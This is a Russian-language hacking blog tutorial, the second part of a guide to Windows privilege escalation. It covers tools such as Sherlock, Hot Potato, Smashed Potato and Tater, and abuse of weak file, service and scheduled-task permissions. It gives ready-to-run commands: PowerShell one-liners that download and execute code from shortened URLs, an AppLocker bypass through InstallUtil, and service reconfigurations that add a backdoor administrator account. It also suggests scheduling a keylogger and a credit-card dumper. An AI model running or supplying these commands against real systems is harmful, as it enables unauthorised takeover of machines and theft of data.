Повышение привилегий в Windows (часть 2)

Повышение привилегий в Windows (часть 2)

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Раз мы начали рассматривать утилиты, продолжим

Повышение привилегий с Sherlock

В любой операционной системе присутствуют уязвимости, которые периодически находят, а потом патчат. Пожалуй, самый простой вариант поднять свои привилегии — это проверить, уязвима ли исследуемая система к одному из доступных в паблике сплоитов.

Компилировать и запускать все по очереди? Не наш метод, мы ведь знаем (или можем узнать), какой патч закрывает ту или иную уязвимость, просто проверим наличие его установки. И если security-апдейт не установлен, то нам повезло.

Такой проверкой как раз и занимается PowerShell-скрипт Sherlock. На текущий момент он проверяет наличие установленных патчей для следующих уязвимостей:

  • MS10-015 : User Mode to Ring (KiTrap0D)
  • MS10-092 : Task Scheduler
  • MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
  • MS13-081 : TrackPopupMenuEx Win32k NULL Page
  • MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
  • MS15-051 : ClientCopyImage Win32k
  • MS15-078 : Font Driver Buffer Overflow
  • MS16-016 : ‘mrxdav.sys’ WebDAV
  • MS16-032 : Secondary Logon Handle

Если что-то из этого не пропатчено, можете смело качать сплоит, компилировать и ждать успеха. Работоспособность скрипта протестирована на следующих системах:

  • Windows 7 SP1 32-bit
  • Windows 7 SP1 64-bit,
  • Windows 8 64-bit,
  • Windows 10 64-bit

Так, на тестовой машине с Windows 7 x64 на борту «Шерлок» выдал следующую сводку:

Повышение привилегий Windows. Шерлок Холмс за поиском непропатченных уязвимостей

Как оказалось, машина уязвима к уязвимости Secondary Logon Handle (ну и еще нескольким в придачу), о которой читайте далее. Ну и стоит отметить, что непосредственно в Windows для проверки достаточно запустить PowerShell и выполнить

import-module .\Sherlock.ps1

В случае если у вас meterpreter-сессия до Win-машины, то подгружаем PowerShell-расширение, импортируем «Шерлока» и вызываем процедуру проверки:

meterpreter > load powershell
meterpreter > powershell_import Sherlock.ps1
meterpreter > powershell_execute "find-allvulns"

Повышение привилегий с Windows-privesc-check

Инструмент, разработанный командой pentestmonkey. 

Делает кучу «грязной работы» — старается найти типичные ошибки конфигурации, которые могут позволить обычным пользователям повысить свои привилегии.

Изначально написан на Python, но поставляется также в виде отдельного исполняемого файла (собранного с помощью pyinstaller), для того чтобы его можно было просто запустить на удаленной машине, а не тащить на нее предварительно питон и все остальные зависимости.

Существует два варианта использования:

Первый — когда у нас есть аккаунт с правами администратора и мы хотим прокачать их до системных. 

Второй — когда у нас аккаунт с ограниченными привилегиями и мы хотим найти способ расширить их. Для того чтобы попросить программу найти все возможные ошибки конфигурации, надо ввести:

windows-privesc-check2.exe --audit -a -o report

В результате получим подробный отчет следующего вида:

Повышение привилегий Windows. Детальный отчет, построенный windows-privesc-check

При этом утилита проверит практически все возможные варианты: переменные окружения, сервисы, с некорректными правами доступа, запланированные задания, доступные для записи ключи реестра и прочее. Если надо ограничить поиск только какой-то одной категорией (например, поиск уязвимых сервисов), то можно использовать соответствующий ключ. Список всех доступных опций можно посмотреть с помощью ключа —help, например для сервисов это будет -S.

Повышение привилегий с Hot Potato

Известен также как просто Potato. Очень интересный инструмент. 

Неординарность этого инструмента заключается в том, что для достижения цели он использует связку из трех атак: NBNS-спуфинг → WPAD-прокси → HTTP2SMB-релeй.

Спуфинг осуществляется для того, чтобы перенаправить жертву (то есть локальный компьютер) на подконтрольный атакующему WPAD-прокси-сервер. 

В нашем случае он также будет располагаться на локальной машине по адресу 127.0.0.1:80.

Фишка в том, что IE-шка по дефолту будет автоматически пытаться определить сетевые настройки, пробуя обратиться по адресу http://wpad/wpad.dat. 

Что наиболее интересно для нас — так же поступают и некоторые службы Windows, например Windows Update.

Ну а далее в дело вступает HTTP2SMB-релей.Прокси будет перенаправлять все запросы на некий уникальный URL, попутно запрашивая NTLM-аутентификацию. 

Полученные учетные данные будут передаваться на локальный дефолтный SMB-листенер для создания нового системного сервиса, который и будет выполнять наши команды.

Таким образом, при получении запроса от привилегированного сервиса (Windows Update) команды будут выполняться с уровнем NT AUTORITY\SYSTEM.

На «семерке» все достаточно просто, все, что старше, — уже не так легко. Итак, в Windows 7 нам поможет следующая команда, запущенная от обычного непривилегированного пользователя:

Potato.exe -ip -cmd [command] -disable_exhaust true

В качестве значения параметра cmd может быть все что угодно, например команда вида

C:\\Windows\\System32\\cmd.exe /K net localgroup administrators USERNAME /add

Кстати, если в Сети есть реальная DNS-запись для WPAD, то надо будет указать опцию disable_exhaust false.

В случае с более свежими версиями винды, ситуация несколько усложняется — в них ни Defender, ни Update-сервисы уже не будут обращаться к WPAD-сеpверу.

Однако там есть такая штука, как автоматическое обновление отозванных сертификатов, — свежие версии Windows по умолчанию раз в день скачивают списки доверенных сертификатов. Она как раз использует WPAD

Команда будет выглядеть следующим образом:

Potato.exe -ip -cmd [command] -disable_exhaust true -disable_defender true

Так как скачивание происходит раз в день, то, возможно, придется подождать какое-то время (максимум 24 часа). Поэтому способ скорее для тех, кто не торопится.

Повышение привилегий с Smashed Potato

Smashed Potato — это модифицированная версия Hot Potato, рассмотренного выше. Итак, каковы же основные изменения?

  • Все .NET-сборки смержены в одну сборку, которая преобразована в массив байтов (Byte[]) — да-да, Potato писан на шарпе.
  • Запуск сборки Potato из памяти.
  • Включен метод обхода AppLocker с помощью InstallUtil.
  • Добавлена некоторая автоматизация.

Инструмент поставляется с открытым исходным кодом, поэтому, чтобы собрать его, надо будет выполнить следующее.

Под 32-разрядные системы:

cd \Windows\Microsoft.NET\Framework\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX86.exe" /platform:x86 "C:\Utils\SmashedPotato.cs"

Для 64-разpядных:

cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX64.exe" /platform:x64 "C:\Utils\SmashedPotato.cs"<code>

Далее, для того чтобы запустить инструмент с обходом AppLoсker, нужно выполнить следующее:

cd \Windows\Microsoft.NET\Framework\v4.0.30319
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Utils\SmashedPotatoX86.exe

Это для 32-разрядных, как будет выглядеть для x64, я думаю, вы уже догадались. 

Кстати, вот однострочный PowerShell-скрипт, который выполнит все перечисленные действия для x64-машины:

powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp%\SmashedPotato.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /out:"%temp%\SmashedPotatoX64.exe" /platform:x64 "%temp%\SmashedPotato.cs" && InstallUtil.exe /logfile= /LogToConsole=false /U %temp%\SmashedPotatoX64.exe

Повышение привилегий с Tater

Ну а что делать, если на машине не установлен .NET Framework?

Воспользоваться PowerShell-версией Hot Potato — Tater, которая сразу загружается в память и не оставляет следов на диске! Запустить утилиту можно в одну строку:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/fVC1Yd'); Invoke-Tater -Trigger 1 -Command ""net user User1 Password1 /add && net localgroup administrators User1 /add"""

После чего в системе появится пользователь User1 с паролем Password1, входящий в группу администраторов. 

Но надо отметить, что для Windows 10 следует использовать ключ -Trigger 2.

Компиляция сплоитов в Kali

Бесспорно, основной операционной системой для проведения пентеста/взлома служит Linux, под него реализована куча инструментов, да и вообще мало кто ломает из-под винды. И с ним все прекрасно по дефолту, пока не надо скомпилировать сплоит под винду (в нашем случае для поднятия привилегий).

Исправляется такой недостаток установкой Mingw-w64:

apt-get update
apt-get install mingw-w64

Дальше все просто, качаем сплоит и компилируем:

wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32

EasySystem

Если локальный админ у вас уже есть и вопрос заключается только в том, как дотянуться до системы, то можно взглянуть в сторону небольшой утилитки EasySystem

Как пишет сам автор утилиты, это никакой не эксплоит, а «старый и грязный» прием с имперсонацией именованных каналов.

Повышение привилегий Windows. EasySystem и именованные каналы даруют NT AUTHORITY\SYSTEM В некоторых ситуациях такой инструмент может пригодиться.

Secondary Logon Handle

Еще один интересный трюк связан с использованием службы «Вторичный вход в систему». Данная служба позволяет запускать программы, консоли Microsoft Management, элементы контрольной панели от имени администратора, даже если текущий пользователь принадлежит всего лишь к группе Users или Power Users. Суть в том, что данный сервис не очищает хендлы при создании новых процессов.

Что для нас важно — данной уязвимости подвержены почти все версии Windows (x32 и x64): начиная с Vista и заканчивая Windows 2012 Server. 

Но есть и ограничения: для успешного повышения привилегий в системе должен быть установлен PowerShell 2.0 или выше, а также присутствовать два и более CPU-ядер. 

В Metasploit Framework есть специальный модуль 

exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Его использование подразумевает, что у нас уже есть meterpreter-сессия, которую мы и должны указать в параметрах: set SESSION 1. Ну и в случае успешной эксплуатации у нас появится еще одна сессия, с повышенными привилегиями.

Для этой же уязвимости есть и PowerShell-скрипт, запускающий командную оболочку с правами системы. А также скомпилированный бинарник, выполняющий то же самое.

Кстати гoворя, Microsoft выпустила патч, поэтому прежде, чем пытаться поднять привилегии, проверьте, не установлен ли он:

C:\Users\pentestlab>wmic qfe list | find "3139914"

Фокусы с разрешениями

Разрешения на доступ к файлам — это обычно первое защитное средство, которое мешает поднять нам свои привилегии. Было бы заманчиво просто так переписать какой-либо системный файл (например, тот же самый sethc.exe, упомянутый в самом начале статьи) и получить сразу системные привилегии. Но все это лишь мечты, на деле у нас есть лишь разрешение на его чтение, которое нам ровным счетом ничего не дает. Однако не стоит вешать нос, ибо с разрешениями тоже не все так гладко — здесь, как и везде, существуют свои подводные камни, знание которых позволяет делать невозможное возможным.

Одна из системных директорий, защищенных данным механизмом, особенно интересна с точки зрения повышения привилегий — Program Files. Непривилегированным пользователям доступ туда заказан. Однако иногда бывает, что в процессе установки инсталляторы некорректно выставляют права на файлы, в результате чего всем пользователям предоставляется полный доступ к исполняемым файлам. Что из этого следует — ты уже догадался.

Еще одно из ограничений — обычному смертному не позволяется писать в корень системного диска. Однако, например, на XP при создании новой директории в корне диска группа BUILTIN\Users получает FILE_APPEND_DATA и FILE_WRITE_DATA разрешения (даже если владельцем папки является администратор):

BUILTIN\Users:(OI)(CI)R
BUILTIN\Users:(CI)(special access:)
FILE_APPEND_DATA
BUILTIN\Users:(CI)(special access:)
FILE_WRITE_DATA

На «семерке» происходит почти то же самое, только разрешения получает группа AUTHENTICATED USERS.

Каким образом такое поведение может превратиться в проблему?

Просто некоторые приложения устанавливают себя вне защищенных директорий, что позволит легко подменить их исполняемые файлы. Например, такая оказия случилась с Metasploit Framework в случае ее многопользовательской установки. Данный баг был пофиксен в версии 3.5.2, а утилита переехала в Program Files.

Как искать такие директории/файлы

Обнаружение директории с некорректными разрешениями — это уже половина успеха. Однако ее нужно сначала найти. Для этого можно воспользоваться следующими двумя инструментами: AccessChk и Cacls/ICacls. Чтобы найти при помощи AccessChk «слабые» директории, понадобятся данные команды:

accesschk.exe -uwdqs users c:\
accesschk.exe -uwdqs “Authenticated Users” c:\

Для поиска файлов со «слабыми» разрешениями служат следующие:

accesschk.exe -uwqs users c:\*.*
accesschk.exe -uwqs “Authenticated Users” c:\*.*

То же самое можно выполнить и при помощи Cacls/ICacls:

cacls "c:\Program Files" /T | findstr Users

Все по плану

Еще один механизм, который может помочь поднять права и про который обычно забывают, — планировщик задач. Утилита schtasks позволяет вешать задачи на определенные события. Наиболее интересные для нас — ONIDLE, ONLOGON и ONSTART. Как следует из названий, ONIDLE будет выполняться каждый раз при простое компьютера, ONLOGON и ONSTART — при входе пользователя и при запуске системы соответственно. Таким образом, на каждое из событий можно повесить отдельную задачу. Например, при запуске системы копировать куда-либо вредоносный бинарник/кейлоггер/… и запускать его. При входе пользователей в систему — запускать дампер кредитных карт. Короче, все ограничивается только твоей фантазией и поставленной задачей.

Трюки с сервисами

Еще один вариант, как подняться в системе повыше, — это воспользоваться мисконфигурациями и ошибками сервисов. Как показывает практика, некорректными разрешениями могут обладать не только файлы и папки, но также и сервисы, работающие в системе. Чтобы обнаружить такие, можно воспользоваться утилитой AccessChk от небезызвестного тебе Марка Руссиновича:

accesschk.exe –uwcqv *

Отраднее всего будет увидеть SERVICE_ALL_ACCESS разрешение для аутентифицированных пользователей или power-юзеров. Но также большой удачей можно считать и следующие:

  • SERVICE_CHANGE_CONFIG — можем изменять исполняемый файл службы;
  • WRITE_DAC — можно менять разрешения, что приводит к получению разрешения SERVICE_CHANGE_CONFIG;
  • WRITE_OWNER — можно стать владельцем и изменить разрешения;
  • GENERIC_WRITE — наследует разрешения SERVICE_CHANGE_CONFIG;
  • GENERIC_ALL — наследует разрешения SERVICE_CHANGE_CONFIG.

Если обнаруживается, что установлено одно (или несколько) из этих разрешений для непривилегированных пользователей, шансы повысить свои привилегии резко возрастают.

Как повысить?

Допустим, ты нашел подходящий сервис, настало время поработать над ним. В этом поможет консольная утилита sc. Для начала получаем полную информацию об интересующем нас сервисе, допустим, это upnphost:

sc qc upnphost

С помощью этой же утилиты отконфигурируем его:

sc config vulnsrv binpath= "net user john hello /add && net localgroup Administrators john /add" type= interact
sc config upnphost obj= ".\LocalSystem" password=""

Как видишь, при следующем старте службы вместо ее исполняемого файла выполнится команда

net user john hello /add
net localgroup Administrators john /add

добавив в систему нового пользователя john с паролем hello.

Остается только вручную перезапустить сервис:

net stop upnphost && net start upnphost

Вот и вся магия.

Что в итоге

Когда-то давным-давно я прочитал в журнале статью, в которой были приведены основные приемы для повышения привилегий в ОС Windows. Особого значения я ей тогда не придал, но теория в голове отложилась и однажды очень сильно меня выручила. Ну и конечно же статья для себя лично, так как хранить такой объем постоянно в голове не всегда получается. Впринципе этот сайт планировался как большая и вечная заметка всего того, что было найдено и зафиксировано в заметках, текстовых файлах и т.п., потрачена куча времени и в последствии утеряна.

Как бы я ни старался вместить в одну статью все возможные варианты повышения привилегий но это ребята совсем другой разговор длинною в 3 Тома...

Так что, надеюсь, и ты найдешь в этой статье для себя что-то новое, что поможет однажды преодолеть очередной барьер

Источник


Report Page